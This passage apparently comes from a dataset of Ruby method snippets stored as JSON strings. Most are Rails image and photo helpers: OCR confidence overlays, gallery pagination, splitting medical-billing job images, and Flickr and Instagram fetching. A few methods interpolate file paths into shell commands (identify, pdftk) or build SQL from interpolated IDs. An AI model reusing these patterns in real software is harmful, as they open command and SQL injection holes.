confidence_symbols_to_colors[confidence_symbol]\n stroke_opacity = numbers_to_stroke_opacity.select{|n| n === confidence_number }.values.first\n stroke_width = numbers_to_stroke_width.select{|n| n === confidence_number }.values.first\n\n draw = Magick::Draw.new\n draw.fill_opacity(0)\n draw.stroke(color)\n draw.stroke_opacity(stroke_opacity)\n # draw.stroke_opacity('100%')\n draw.stroke_width(stroke_width)\n\n p1x = vertices[0]['x'] || 0\n p1y = vertices[0]['y'] || 0\n # p2x = vertices[1]['x']\n # p2y = vertices[1]['y']\n # p3x = vertices[3]['x']\n # p3y = vertices[3]['y']\n p4x = vertices[2]['x'] || 0\n p4y = vertices[2]['y'] || 0\n\n unless p1x && p1y && p4x && p4y\n # unless p1x && p1y && p2x && p2y && p3x && p3y && p4x && p4y\n puts \"Error: Missing at least one vertex for image json block from file #{image_text_files[image_index]} for page#{page_number}.jpg\"\n puts \"Error: Vertices:\"\n puts vertices\n next\n end\n\n # puts \"trying to draw rectangle at #{p1x}, #{p1y}, #{p3x}, #{p3y}\"\n # draw.roundrectangle(p1x, p1y, p4x, p4y, 5, 5)\n draw.rectangle(p1x, p1y, p4x, p4y)\n # draw.line(p1x, p1y, p2x, p2y)\n # draw.line(p1x, p1y, p3x, p3y)\n # draw.line(p2x, p2y, p4x, p4y)\n # draw.line(p3x, p3y, p4x, p4y)\n\n draw.draw(image)\n next\n end\n # After exploring this, I'm confident that missing vertices should be\n # treated as 0s\n altered_image_suffix = image_suffix\n .split('.')\n .insert(1, 'symbol_confidence')\n .join('.')\n output_image_path = \"#{full_image_prefix}#{page_number}#{altered_image_suffix}\"\n # output_image_path = \"/Users/kyle/Dropbox/code/kyletolle/handwriting_transcription/page#{page_number}.symbol_confidence.missingvertices.jpg\"\n image.write(output_image_path)\n end\n puts \"Finished drawing on images...\"\nend",
"def load_photos_discussions\n @page = params[:page] ? params[:page].to_i : 1\n from = case params[:time_span]\n when \"30min\" then Time.now - 30.minutes\n when \"day\" then Time.now - 1.day\n when \"week\" then Time.now - 1.week\n when \"year\" then Time.now - 1.year\n else Time.now - 30.day\n end\n to = Time.now\n \n #order_by_rating = params[:sort_by]== \"rates\" ? true : false\n order = params[:sort_by]==\"recent\" ? nil : (params[:sort_by]==\"rates\")\n group_id = params[:group_id] == \"\" ? 0 : params[:group_id].to_i\n crowd_id = params[:crowd_id] == \"\" ? 0 : params[:crowd_id].to_i\n @pictures = @login_user.all_visible_pictures(from, to, @page,order,group_id, crowd_id)\n end",
"def images\n user = current_user\n\n if user\n @error = nil # Returned message if something went wrong, or nil for success\n @images = [] # Image data for view rendering; array of hashes. Hash format is as follows:\n # indexer: Derpibooru's indexer number for the image\n # direct_link: Link to full sized image\n # thumb_link: Link to image thumbnail\n # checked: True if the image should be checked by default\n # css_id: Id for css used when displaying the image\n\n # Minimum and maximum indexers of the images that are returned\n @min = nil\n @max = nil\n\n # Only allow one direction between min and max\n min = params[:min] ? params[:min].to_i : nil\n max = params[:max] ? params[:max].to_i : nil\n min = max = nil if min && max\n\n begin\n images = []; # This is used only for each individual loop\n\n # Skim through images already databased\n if (not min.nil?) ^ (not max.nil?)\n begin\n databased_image = Image.where(indexer: min ? min : max).first\n if databased_image\n min += 1 if min\n max -= 1 if max\n images << databased_image\n end\n end while databased_image && (@images.length + images.length) < THUMBS_PER_PAGE\n end\n\n # If we haven't reached our desired thumbnail count, ask derpibooru for more\n unless (@images.length + images.length) >= THUMBS_PER_PAGE\n response = make_request(generate_request(user, min, max), @error)\n if response\n images += process_response(user, response)\n else\n @images = nil\n break\n end\n # Update min and max for the images we just covered so another set can be requested as needed\n sorted_images = images.sort { |x, y| x.indexer.to_i <=> y.indexer.to_i}\n\n\t\t if sorted_images.length > 0\n\t\t if min\n min = sorted_images.last.indexer.to_i + 1\n else\n max = sorted_images.first.indexer.to_i - 1\n end\n\t\t end\n end\n\n # Now we must process these images for the view\n images.each do |image|\n unless(image.dead || user.discarded?(image))\n @images << process_image(user, image)\n end\n end\n end while (images.length > 0) && (@images.length < THUMBS_PER_PAGE)\n\n # We've safely databased, but limit the amount of images on the page to reduce confusion.\n\t @images = @images[0 .. (THUMBS_PER_PAGE - 1)]\n\n\t # Reverse them when going backwards so the order stays the same\n @images.reverse! unless min.nil?\n\n # Compute final minimum and maximum values of the final thumbnails\n range = @images.collect {|x| x[:indexer].to_i}\n @min = range.min\n @max = range.max\n else\n # Nope - not logged in!\n redirect_to root_path\n end\n end",
"def prepare_image_apria\n images = []\n if @sitecode == \"00Q49\" # site code for DAP\n single_page_images = convert_multipage_to_singlepage\n single_page_images.each_with_index do |image_file, index|\n new_file_name = rename_image_for_dap(image_file, index)\n File.rename(image_file, new_file_name)\n @image_folder = Dir.glob(\"#{@location}/**/#{config['IMAGE']['image_folder']}*\", File::FNM_CASEFOLD)\n image = ImagesForJob.new :image => File.open(\"#{new_file_name}\",\"rb\")\n image.image_file_name = File.basename(new_file_name)\n image.is_splitted_image = true\n image = update_image image\n images << image\n end\n else\n image = ImagesForJob.new\n parse_values(\"IMAGE\", image)\n image_path = @image_folder.detect{|image_string| image_string.downcase == \"#{@image_path}/#{image.image_file_name}\".downcase}\n image.image = File.open(image_path, \"rb\")\n image_file_name = image.image_file_name.strip.split(\"\\\\\").last unless image.image_file_name.blank?\n path = Dir.glob(\"#{@location}/**/#{image_file_name}\").first\n count = %x[identify \"#{path}\"].split(image_file_name).length-1\n new_image_name = File.basename(\"#{path}\")\n if count>1\n dir_location = File.dirname(\"#{path}\")\n ext_name = File.extname(\"#{path}\")\n new_image_base_name = new_image_name.chomp(\"#{ext_name}\")\n if ((not ext_name.empty?) and (ext_name.casecmp(\".pdf\") == 0) ) then\n system \"pdftk '#{path}' burst output '#{dir_location}/#{new_image_base_name}_%d#{ext_name}'\"\n for image_count in 1..count\n image = ImagesForJob.new(:image_file_name=>\"#{new_image_base_name}_#{image_count}#{ext_name}\",:is_splitted_image=>true)\n image = update_image image\n images << image\n end\n else\n InputBatch.split_image(count,path, dir_location, new_image_base_name)\n single_images = Dir.glob(\"#{@location}/**/*\").select{|file| InputBatch.get_single_image(file, new_image_base_name)}.sort\n single_images.each_with_index do |single_image, index|\n new_image_name = \"#{dir_location}/#{new_image_base_name}_#{index}#{ext_name}\"\n File.rename(single_image, new_image_name)\n image = ImagesForJob.create(:image => File.open(new_image_name), :image_number => @img_count, :is_splitted_image=>true)\n @img_count += 1\n images << image\n end\n end\n else\n image = ImagesForJob.new(:image_file_name=>\"#{new_image_name}\")\n image = update_image image\n images << image\n end\n end\n return images\n end",
"def get_images(parent_job_id, facility_image_type, job_id)\r\n logger.debug \"get_images ->\"\r\n images = []\r\n\r\n #Single page tif (1 page = 1 image file)image names are appended to each other with asterisk seperating them ex: abc_1.tif*abc_2.tif*abc_3.tif\r\n #Multi page tif (all pages = 1 image file)image name is sent as is, by appending page 'from' and 'to' numbers with asterisk seperating them ex: abc.tif*0*20\r\n if (facility_image_type == 0)\r\n unless @parent_job_id.blank?\r\n job = @parent_job\r\n #in case of split jobs, the split job id is stored in the intermediate table client_images_to_jobs,\r\n #through which we can fetch the images_to_jobs id where image file name is stored\r\n job_image_ref = ClientImagesToJob.find(:all,\r\n :conditions => [\"sub_job_id = ?\", job_id]).sort!{|a, b| a.updated_at <=> b.updated_at}\r\n \r\n job_image_ref = job_image_ref.compact\r\n if job_image_ref.length > 0\r\n images_for_job_ids = job_image_ref.map(&:images_for_job_id)\r\n images = ImagesForJob.get_image_records_in_order(images_for_job_ids)\r\n images = images.flatten\r\n end\r\n images_to_jobs = ClientImagesToJob.select(\"COUNT(id) AS image_count, id\").\r\n where(\"job_id = #{parent_job_id} AND sub_job_id IS NOT NULL\").group('sub_job_id')\r\n if !images_to_jobs.blank?\r\n images_to_job = images_to_jobs.first\r\n if !images_to_job.blank?\r\n @image_count_in_a_job = images_to_job.image_count\r\n end\r\n end\r\n pagefrom = job.pages_from.to_s\r\n pageto = job.pages_to.to_s\r\n else\r\n job = @job\r\n pagefrom = job.pages_from.to_s\r\n pageto = job.pages_to.to_s\r\n images = job.images_for_jobs.sort{|a,b| a.image_number <=> b.image_number}\r\n end\r\n\r\n @single_page_tiff_files = \"*\"\r\n images.each do |imagename|\r\n @single_page_tiff_files += (\"*\" + imagename.public_filename()).to_s\r\n end\r\n elsif (facility_image_type == 1)\r\n job = @job\r\n if job.parent_job_id\r\n imageforjobid = ClientImagesToJob.find_by_job_id(job.parent_job_id).images_for_job_id\r\n else\r\n imageforjobid = ClientImagesToJob.find_by_job_id(job_id).images_for_job_id\r\n end\r\n pagefrom = job.pages_from.to_s\r\n pageto = job.pages_to.to_s\r\n image = ImagesForJob.find(imageforjobid)\r\n @multi_page_tiff_file = (image.public_filename()).to_s if (image)\r\n @multi_page_tiff_file += \"*\" + pagefrom + \"*\" + pageto\r\n end\r\n logger.debug \"<- get_images\"\r\n\r\n end",
"def process\n @gallery.each do |item|\n photo = {}\n photo[:url] = item['images'][0]['url']\n photo[:id] = item['id']\n @gallery_obj.push(photo)\n end\n end",
"def images\n images = @anchors.select { |a| a.object.is_a?(Pic) }\n images.map { |a| a.object }\n end",
"def index\n @album = Album.find(params[:album_id])\n @photos = @album.photos\n @photos_j = @album.photos.map { |p| p.json }\n @photo = Photo.new\n @album.add_one_view\n\n # @images = Dir.glob(\"app/assets/images/*.jpg\")\n # pic_hash = @images.first(10).map { |i| {:pic_url => i}}\n # @photos = pic_hash.each_with_index.map {|i,v| {:photo_id => v.to_s + \"1\" }.merge(i) }\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @photos_j }\n end\n end",
"def create_multiple_photos\n session[:current_images] = (0...8).map{65.+(rand(25)).chr}.join unless session[:current_images]\n @photo = Picture.new(:photo => params[:picture][:path], :photo_detail => \"#{session[:current_images]}\", :share_type => \"99\", :album_id => \"\")\n if @photo.save\n @group_ids = params[:group_ids]\n @group_ids.each do |grp|\n SharedTab.create(:shareable_id=>@photo.id,:group_id=>grp.to_i,:shareable_type=>\"Picture\")\n end if !@group_ids.blank?\n flash[:notice] = \"Photo added successfully.\"\n if @photo.save\n respond_to do |format|\n format.html { #(html response is for browsers using iframe sollution)\n render :json => [@photo.to_jq_upload].to_json,\n :content_type => 'text/html',\n :layout => false\n }\n format.json {\n render :json => [@photo.to_jq_upload].to_json\n }\n end\n else\n render :json => [{:error => \"custom_failure\"}], :status => 304\n end\n end\n\n end",
"def images\n if !@images\n @images = {}\n @images[:thumb] = self.thumb_image if self.thumb_image\n @images[:tiny_image] = self.tiny_image if self.tiny_image\n @images[:small] = self.small_image if self.small_image \n @images[:medium] = self.medium_image if self.medium_image\n @images[:large] = self.large_image if self.large_image\n end\n end",
"def process_images\n ItemWorker.async_image_processor(:image_id => self.id)\n end",
"def gallery_images\n imgs = images\n 1.upto(3 - imgs.size) do |i|\n imgs << \"/images/placeholder.png\"\n end\n imgs\n end",
"def photo__cache\r\n@photo_cache ||= {}\r\nend",
"def cur_image\n self\n end",
"def index\n @images = get_approved\n @left_images = []\n @right_images = []\n @center_images = []\n counter = 0\n @images.each do |image|\n counter+=1\n if counter == 1\n @left_images << image\n elsif counter ==2\n @center_images << image\n elsif counter ==3\n counter = 0\n @right_images << image\n end\n end\n end",
"def all_images(albid)\n kept_images(albid) + deleted_images(albid)\n end",
"def photos\n return nil\n end",
"def cover\n pictures.find_by_cover(true) or pictures.first\n end",
"def get_list_of_images\n\t\tif @list_of_files != nil then \n\t\t\t@list_of_files.each { |file| @list_of_images << file if file.to_s.include?(\".gif\") or file.to_s.include?(\".jpg\") or file.to_s.include?(\".bmp\")\t}\n\t\telse\n\t\t\t@list_of_images = nil\n\t\tend\n\tend",
"def show_selected_images(query, args={})\n store_query_in_session(query)\n @links ||= []\n\n # I can't figure out why ActiveRecord is not eager-loading all the names.\n # When I do an explicit test (load the first 100 images) it eager-loads\n # about 90%, but for some reason misses 10%, and always the same 10%, but\n # apparently with no rhyme or reason. -JPH 20100204\n args = {\n :action => 'list_images',\n :matrix => true,\n :include => [:user, {:observations => :name}],\n }.merge(args)\n\n # Add some alternate sorting criteria.\n args[:sorting_links] = [\n ['name', :sort_by_name.t],\n ['original_name', :sort_by_filename.t],\n ['date', :sort_by_date.t],\n ['user', :sort_by_user.t],\n # ['copyright_holder', :sort_by_copyright_holder.t],\n ['created_at', :sort_by_posted.t],\n ['updated_at', :sort_by_updated_at.t],\n ['confidence', :sort_by_confidence.t],\n ['image_quality', :sort_by_image_quality.t],\n ['num_views', :sort_by_num_views.t],\n ]\n\n # Add \"show observations\" link if this query can be coerced into an\n # observation query.\n if query.is_coercable?(:Observation)\n @links << [:show_objects.t(:type => :observation), {\n :controller => 'observer',\n :action => 'index_observation',\n :params => query_params(query),\n }]\n end\n\n # Paginate by letter if sorting by user.\n if (query.params[:by] == 'user') or\n (query.params[:by] == 'reverse_user')\n args[:letters] = 'users.login'\n # Paginate by letter if sorting by copyright holder.\n elsif (query.params[:by] == 'copyright_holder') or\n (query.params[:by] == 'reverse_copyright_holder')\n args[:letters] = 'images.copyright_holder'\n # Paginate by letter if names are included in query.\n elsif query.uses_table?(:names)\n args[:letters] = 'names.sort_name'\n end\n\n show_index_of_objects(query, args)\n end",
"def images\n Image.joins(:build => :site).where(:sites => { :user_id => self.id })\n end",
"def process_contained_images\n require 'active_support/secure_random'\n image_folder = \"#{RAILS_ROOT}/public/assets/#{self.class.to_s.pluralize.underscore}/#{self.id}/contained_images\"\n public_image_folder = \"/assets/#{self.class.to_s.pluralize.underscore}/#{self.id}/contained_images\"\n FileUtils.mkdir(image_folder) unless File.directory?(image_folder)\n for attribute in self.image_containers\n contents = self.send(attribute)\n if contents\n matches = contents.scan(/\\/stored_images\\/[\\w]*\\/[\\w. -]*/).uniq\n for match in matches\n match_file_name = match.gsub(/\\/stored_images\\/[\\w ]*\\//, '')\n random_file_name = \"#{ActiveSupport::SecureRandom.hex(6)}_#{match_file_name}\"\n FileUtils.cp \"#{RAILS_ROOT}/public/assets#{match}\", \"#{image_folder}/#{random_file_name}\"\n self.send(\"#{attribute.to_s}=\", contents.gsub(\"../../../assets#{match}\", \"../../assets#{match}\"))\n self.send(\"#{attribute.to_s}=\", contents.gsub(\"../../assets#{match}\", \"../../#{public_image_folder}/#{random_file_name}\"))\n end\n end\n end\n self.save\n end",
"def group_album\n @discussion_group = DiscussionGroup.find(params[:id])\n if @login_user.is_member_of_discussion_group(params[:id].to_i) || @discussion_group.is_public\n @pictures = Image.find_by_sql([\"SELECT DISTINCT i.* FROM discussion_group_discussions dgd\n\t\t\t\t\t LEFT JOIN discussions d on dgd.discussion_id = d.id\n\t\t\t\t\t LEFT JOIN comments c on dgd.discussion_id = c.discussion_id\n\t\t\t\t\t LEFT JOIN images i ON (imageable_id = dgd.id AND imageable_type = 'DiscussionGroup')\n\t\t\t\t\t OR (imageable_id = d.id AND imageable_type = 'Discussion')\n\t\t\t\t\t OR (imageable_id = c.id AND imageable_type = 'Comment')\n \t\t\t\t\tWHERE i.id IS NOT NULL AND dgd.discussion_group_id =? \",params[:id].to_i])\n else\n redirect_to @login_user.profile_path\n end\n end",
"def uploading_pictures\n end",
"def prepare_image\n images_for_job = []\n images = []\n @images_from_index = row.slice(config['IMAGE']['image_file_name'][0]..-1).compact\n @images_from_index = @images_from_index.collect{|file| file.include?('.') ? \\\n file: file + \".#{@image_ext}\"}\n # identifying check and envelop images\n @check_image, @envelop_image = call_parser_specific_method \"prepare_check_and_envelop_images\" if @version == 'BANK_OF_AMERICA' and facility.index_file_parser_type != \"Apria_bank\"\n envelop_image_to_loaded = (@envelop_image.upcase)[0...-4].split(\"_\") unless @envelop_image.blank?\n @image_folder = Dir.glob(\"#{@location}/**/#{config['IMAGE']['image_folder']}*\", File::FNM_CASEFOLD)\n @images_from_index.each do |file_name|\n unless @hash_envelop_images.has_key?(\"#{file_name}\")\n images_for_job << @image_folder.select{|file| File.basename(file).upcase == file_name.upcase}\n images_for_job << @image_folder.select{|file| file_name[0...-4] + \"B\" == File.basename(file)[0...-4].upcase}\n \n else\n unless @envelop_image.blank?\n images_for_job << @image_folder.select{|file| File.basename(file).upcase == @envelop_image.upcase ||\n File.basename(file)[0...-4].upcase == @envelop_image.upcase[0...-4] +'B'}\n if envelop_image_to_loaded.size == 2\n @image_folder = Dir.glob(\"#{@location}/**/#{config['IMAGE']['image_folder']}*\", File::FNM_CASEFOLD)\n images_for_job << @image_folder.select{|file| File.basename(file)[0...-4].upcase == envelop_image_to_loaded[0]+'B_'+ envelop_image_to_loaded[1]}\n end\n end\n end\n end\n images_for_job.flatten!\n # @initial_image_name = images_for_job[0]\n multi_page_facilities = ['CHRISTIAN HOSPITAL LABORATORY','GENOPTIX MEDICAL LABORATORY']\n images_for_job = convert_single_page_to_multipage(images_for_job) if multi_page_facilities.include? facility.name.strip.upcase\n f = nil\n images_for_job.each_with_index do |image_name,img_count|\n f = File.open(\"#{image_name}\",\"rb\")\n image = ImagesForJob.new(:image => f)\n parse_values(\"IMAGE\", image, File.basename(image_name))\n image_file_name = image.image_file_name.strip.split(\"\\\\\").last unless image.image_file_name.blank?\n # initial_image = images_for_job[0]\n @initial_image_name = image_file_name if img_count == 0\n path = Dir.glob(\"#{@location}/**/#{image_file_name}\").first\n count = %x[identify \"#{path}\"].split(image_file_name).length-1\n new_image_name = File.basename(\"#{path}\")\n if count>1\n dir_location = File.dirname(\"#{path}\")\n ext_name = File.extname(\"#{path}\")\n new_image_base_name = new_image_name.chomp(\"#{ext_name}\")\n if ((not ext_name.empty?) and (ext_name.casecmp(\".pdf\") == 0) ) then\n system \"pdftk '#{path}' burst output '#{dir_location}/#{new_image_base_name}_%d#{ext_name}'\"\n for image_count in 1..count\n image = ImagesForJob.new(:image_file_name=>\"#{new_image_base_name}_#{image_count}#{ext_name}\",:is_splitted_image=>true)\n image = update_image image\n image.save\n images << image\n end\n else\n InputBatch.split_image(count,path, dir_location, new_image_base_name)\n single_images = Dir.glob(\"#{@location}/**/*\").select{|file| InputBatch.get_single_image(file, new_image_base_name)}.sort\n single_images.each_with_index do |single_image, index|\n new_image_name = \"#{dir_location}/#{new_image_base_name}_#{index}#{ext_name}\"\n File.rename(single_image, new_image_name)\n image = ImagesForJob.create(:image => File.open(new_image_name), :image_number => @img_count,:is_splitted_image=>true)\n @img_count += 1\n images << image\n end\n end\n else\n # image = ImagesForJob.new(:image_file_name=>\"#{new_image_name}\")\n image = update_image image\n image.save\n images << image\n end\n f.close\n end\n return images\n end",
"def photosets() @photosets ||= Flickr::Photosets.new(self) end",
"def rep_image\n\t photos.first\n\tend",
"def load_previous_version_images\n images = {}\n version = load_previous_version\n return images if ! version\n version.units.all.each do |unit|\n unit.images.all.each do |image|\n images[image.name.to_s] = image\n end\n end\n images\n end",
"def update_photos\n self.photos = Photo.find_photos(latitude, longitude, radius)\n end",
"def avoid_duplicate_image_names(content)\n nodes = content.xpath(\"//draw:frame[@draw:name]\")\n nodes.each_with_index do |node, i|\n node.attribute('name').value = \"pic_#{i}\"\n node.xpath(\".//draw:image\").each do |draw_image|\n if !draw_image.attribute('href').nil?\n href = draw_image.attribute('href').value\n end\n unless href.to_s.empty?\n @global_image_paths_set.add(href) \n end\n end\n end\n end",
"def show\n redirect_to :controller => 'sessions', :action => 'connect' if !session[:access_token] \n\n @contest = Contest.find(params[:id])\n\n client = Instagram.client(:access_token => session[:access_token])\n @user = client.user\n \n pictures = client.tag_recent_media('mazeh9art')\n \n pictures.data.each do |p|\n picture = Picture.find_or_initialize_by_instagram_id(p.id)\n picture.update_attributes(title: p.caption.text, url: p.images.standard_resolution.url )\n end\n \n gon.pics = pictures #Contest.first.getNextPictures() \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contest }\n end\n end",
"def get_tirerack_images\n start_time = Time.now\n tirerack_login\n completed = {}\n mfg_list = get_manufacturer_list\n mfg_list.each do |mfg|\n data = YAML.load(open_file('tires', mfg)) \n puts \"Checking Manufacturer #{mfg}\\n\"\n data.each_key do |model|\n puts \"\\tModel: #{model}\\n\"\n data[model][:images].each do |img|\n # base will be just image name but with the _s.jpg extension\n base = File.basename(img)\n large = base.gsub(/_s.jpg/,\"_l.jpg\")\n if completed.has_key?(base)\n puts \"\\t...already processed #{base}\\n\" \n else\n # check if image exists\n puts \"Checking if #{large} exists in public/images/tirerack.\\n\" \n unless File.exists?(File.join(RAILS_ROOT,\"public\",\"images\",\"tirerack\",large))\n puts \"Image #{large} was NOT found, Download it now...\\n\"\n iuri = URI.parse('http://www.tirerackwholesale.com/') + URI.parse(img.gsub(/_s.jpg/,'_l.jpg'))\n # write the binary image data to the public/images/wheels directory and be sure to log the filename too for later reference\n begin\n File.open(File.join(RAILS_ROOT, 'public','images','tirerack',File.basename(iuri.path)), 'wb') do | f |\n f << iuri.read \n end \n rescue Timeout::Error\n puts \"timed out trying to download #{File.basename(iuri.path)}\"\n end\n puts \"Image #{large} downloaded.\\n\"\n completed[base] = true\n else\n puts \"Image #{large} was found, SKIP it...\\n\"\n end\n end\n end\n end\n end\n puts \"Downloaded #{completed.length} images, in #{Time.now - start_time} seconds.\\n\"\n end",
"def new_work\n @current_make = 'UNKNOWN'\n @current_model = 'UNKNOWN'\n @current_image_id = 0\n if @current_image_thumbs.kind_of?(Array)\n @current_image_thumbs.clear()\n else\n @current_image_thumbs = []\n end\n end",
"def process_images(pat, sp_name)\n sp = ServicePack.find_or_create_by_name(sp_name)\n images = ImagePath.find(:all, :conditions => \"path like '#{pat}'\")\n length = images.length\n images.each_with_index do |image, index|\n # puts \"processing image #{index} of #{length}\"\n image.package.filesets.each do |fileset|\n ServicePackFilesetMap.find_or_create_by_service_pack_id_and_fileset_id(sp.id, fileset.id)\n end\n end\nend",
"def set_common\n @body_id = controller_name + '_' + action_name\n #@memories = Memory.has_images.order(\"created_at DESC\").page(params[:page]).per(CONFIG[:custom_per_page])\n #@random = Memory.random\n \n #Temporary load of images for slider\n \n \n # Switching off since its not being used at now (The Slider)\n \n # if params[:controller] == \"home\" && params[:action] == \"index\"\n # # Switching off since its not being used at now\n # # @slider = true\n # # sliderTop = 48\n # # @slider_memories = nil#Memory.find(:all, :joins => :categories, :group => :category_id, :order => \"categories.name ASC, memories.created_at DESC\") \n # \n # #Memory.joins(:categories).group(:category_id).order(\"memories.created_at DESC, categories.name ASC\")\n # \n # \n # #Memory.joins(:categories).find(:all, :order => \"categories.name ASC\", :group => :category_id)\n # \n # #Memory.scoped.order(\"created_at DESC\").limit(sliderTop)\n # \n # \n # \n # ##PREVIOUS SLIDER OPTIONS FOR BIRTH YEAR INPUT\n # # if session[:birthyear]\n # # birth_year = session[:birthyear]\n # # @slider_memories = Memory.suggested_memories_for_guess(birth_year).order(\"created_at DESC\").limit(sliderTop)\n # # else\n # # @slider_memories = Memory.scoped.order(\"created_at DESC\").limit(sliderTop)\n # # end\n # end\n end",
"def cover\n photos.first\n end",
"def profile_photo\n @profile = Profile.find(:all)\n \n for profile in @profile\n if !profile.profile_image.blank?\n original_image = RAILS_ROOT + \"/public/profile/profile_image/#{profile.id}/#{File.basename(profile.profile_image)}\"\n # main = RAILS_ROOT + \"/public/profile/profile_image/#{profile.id}/main/#{File.basename(profile.profile_image)}\"\n submain = RAILS_ROOT + \"/public/profile/profile_image/#{profile.id}/submain/#{File.basename(profile.profile_image)}\"\n image = Magick::ImageList.new(original_image) \n image = image.change_geometry!('171x171!') { |c, r, i| i.resize!(c, r) } \n image.write(submain) \n end \n end\n \n \n end",
"def general_photos\n active_photos.where(:plot_id=>nil, :story_id=>nil)\n end",
"def load_pictures\r\n imgsuffix = '*.{jpg,JPG}' \r\n \r\n file_list = Dir.glob(File.join(LOCATION,imgsuffix))\r\n #list it is case sensitive in unix so remove duplicates for Windows\r\n file_list.uniq!\r\n \r\n file_list.each do |img|\r\n \timg.sub!(/#{LOCATION}\\//, '')\r\n\tend\r\n\tfile_list.sort\r\nend",
"def glide_image_pairs\n @glide_image_pairs = []\n listings = Listing.find(:all)\n pair_offset = 0\n listings.each do |listing|\n if listing.images.length > 1\n pair = []\n listing.images.each_with_index do |image, j|\n pair << image\n pair_offset = pair_offset + 1\n #break if j # only load 2 images at a time into array\n end\n @glide_image_pairs << pair\n end\n end\n return @glide_image_pairs\n end",
"def photos\n [\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/bali-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/bali-dive-2.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/bali-dive-3.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/bos-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/bos-dive-2.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/bos-dive-3.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/boston-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/boston-dive-2.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/boston-dive-3.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/flo-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/flo-dive-2.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/flo-dive-3.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/gili-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/gili-dive-3.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/gili-dive-4.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/greece-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/greece-dive-2.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/greece-dive-3.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/lanta-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/lanta-dive-3.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/lanta-dive-4.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/mexico-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/mexico-dive-2.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/mexico-dive-3.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/mexico-sav-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/mexico-sav-dive-2.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/mexico-sav-dive-3.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/nahant-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/nahant-dive-2.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/nahant-dive-3.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/ray-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/ray-dive-2.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/ray-dive-3.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/seal-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/seal-dive-3.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/seal-dive-5.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/shark-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/shark-dive-2.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/shark-dive-3.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/whale-shark-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/whale-shark-dive-2.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/whale-shark-dive-3.jpg\"],\n [\"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/wreck-dive-1.jpg\", \"http://res.cloudinary.com/jooleeanh/image/upload/v1480379642/my-dives/wreck-dive-2.jpg\"],\n ]\n end",
"def images\n @images ||= Image.find_all_by_listing_id(listing_id, oauth)\n end",
"def sequence_images\n \n end",
"def big_main_image\n\t\timage = self.images.first\n\t\timage.asset.url(:large)\n\tend",
"def get_photos\n @client.get_photos(flickr_photoset_id) do |p|\n photo = Photo.find_or_create_by_flickr_photo_id(p[:id])\n photo.update_attributes(:farm => p[:farm], :server => p[:server], :secret => p[:secret])\n photo.save\n set_photo = photoset_photos.find_or_initialize_by_photo_id(photo.id)\n set_photo.update_attributes(:primary => p[:primary])\n end\n end",
"def check_our_images!\n self.gsub!(/!image (\\w+\\/)?(\\d+)!/) do\n size, id = $1, $2\n size ||= 'thumb/'\n '\"!%s/%s%d.jpg!\":%s/image/show_image/%d' %\n [IMAGE_DOMAIN, size, id, HTTP_DOMAIN, id]\n end\n end",
